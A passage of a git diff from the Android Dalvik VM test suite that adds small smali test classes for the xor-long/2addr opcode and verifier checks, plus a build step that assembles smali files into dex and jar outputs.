+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)J
+.registers 5
+
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali
new file mode 100644
index 0000000..bed2b84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       const/16 v3, 1234    
+       xor-long/2addr v1, v3
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali
new file mode 100644
index 0000000..2df014b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v0
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali
new file mode 100644
index 0000000..5e62ed5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v5
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali
new file mode 100644
index 0000000..54d3288
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali

@@ -0,0 +1,29 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a1_1.java"
+.class  public Ldot/junit/verify/a1/d/T_a1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali
new file mode 100644
index 0000000..537e922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a3_1.java"
+.class  public Ldot/junit/verify/a3/d/T_a3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali
new file mode 100644
index 0000000..6422bff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a5_1.java"
+.class  public Ldot/junit/verify/a5/d/T_a5_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali
new file mode 100644
index 0000000..d58a102
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali

@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b17_1.java"
+.class  public Ldot/junit/verify/b17/d/T_b17_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+
+       const/16 v0, 123 
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali
new file mode 100644
index 0000000..f5a7dd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_1.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       move v2, v1
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali
new file mode 100644
index 0000000..a2b2564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_2.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 10
+
+       const-wide v0, 123
+       long-to-int v3, v1
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index 7b510ce..56ec428 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java

@@ -445,7 +445,8 @@
             return;
         }
 
-        if (new File(sourceFolder, fileName + ".d").exists()) {
+        if (new File(sourceFolder, fileName + ".d").exists() &&
+            !new File(sourceFolder, fileName + ".smali").exists()) {
 
             BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
                     JAVASRC_FOLDER, fileName + ".d");
@@ -464,6 +465,26 @@
             return;
         }
 
+        if (new File(sourceFolder, fileName + ".smali").exists()) {
+
+            BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
+                    JAVASRC_FOLDER, fileName + ".smali");
+            BuildStep.BuildFile dexFile = new BuildStep.BuildFile(
+                    OUTPUT_FOLDER, fileName + ".dex");
+
+            SmaliBuildStep buildStep = new SmaliBuildStep(inputFile, dexFile);
+
+            BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
+                    OUTPUT_FOLDER, fileName + ".jar");
+
+            JarBuildStep jarBuildStep = new JarBuildStep(dexFile,
+                    "classes.dex", jarFile, true);
+            jarBuildStep.addChild(buildStep);
+            targets.add(jarBuildStep);
+            return;
+        }
+
+
         File srcFile = new File(sourceFolder, fileName + ".java");
         if (srcFile.exists()) {
             BuildStep dexBuildStep;

diff --git a/tools/vm-tests-tf/src/util/build/SmaliBuildStep.java b/tools/vm-tests-tf/src/util/build/SmaliBuildStep.java
new file mode 100644
index 0000000..b4670dc
--- /dev/null
+++ b/tools/vm-tests-tf/src/util/build/SmaliBuildStep.java

@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package util.build;
+
+import org.jf.smali.Smali;
+import org.jf.smali.SmaliOptions;
+
+import java.io.File;
+
+/**
+ * BuildStep that invokes the Smali Java API to
+ * assemble test cases written in Smali.
+ */
+class SmaliBuildStep extends BuildStep {
+
+    SmaliBuildStep(BuildFile inputFile, BuildFile outputFile) {
+        super(inputFile, outputFile);
+    }
+
+    @Override
+    boolean build() {
+        if (super.build()) {
+            return assemble(inputFile.fileName, outputFile.fileName);
+        }
+        return false;
+    }
+
+    private boolean assemble(File input, File output) {
+        SmaliOptions options = new SmaliOptions();
+        options.verboseErrors = true;
+        options.outputDexFile = output.getAbsolutePath();
+        try {
+            File destDir = output.getParentFile();
+            if (!destDir.exists()) {
+                destDir.mkdirs();
+            }
+            return Smali.assemble(options, input.getAbsolutePath());
+        } catch(Exception e) {
+             if(BuildDalvikSuite.DEBUG)
+                 e.printStackTrace();
+             System.err.println("Exception <" + e.getClass().getName() + ">" + e.getMessage());
+             return false;
+        }
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (super.equals(obj)) {
+            SmaliBuildStep other = (SmaliBuildStep) obj;
+            return inputFile.equals(other.inputFile)
+                    && outputFile.equals(other.outputFile);
+        }
+        return false;
+    }
+
+    @Override
+    public int hashCode() {
+        return inputFile.hashCode() ^ outputFile.hashCode();
+    }
+}
commit	edbdb82b3463502fe16ab92ce27dd7fd1fe1eae4	[log] [tgz]
author	Sam Lin <samlin@google.com>	Wed May 23 17:51:09 2018 +0000
committer	Android (Google) Code Review <android-gerrit@google.com>	Wed May 23 17:51:09 2018 +0000
tree	6635ed1a359a8d03cc9b4736faa0a9c1d408a364
parent	bc5d3c035a4bebb725d73999e82d48102147065e [diff]
parent	6d03af8260972a7676055c99b59a7e61942fca04 [diff]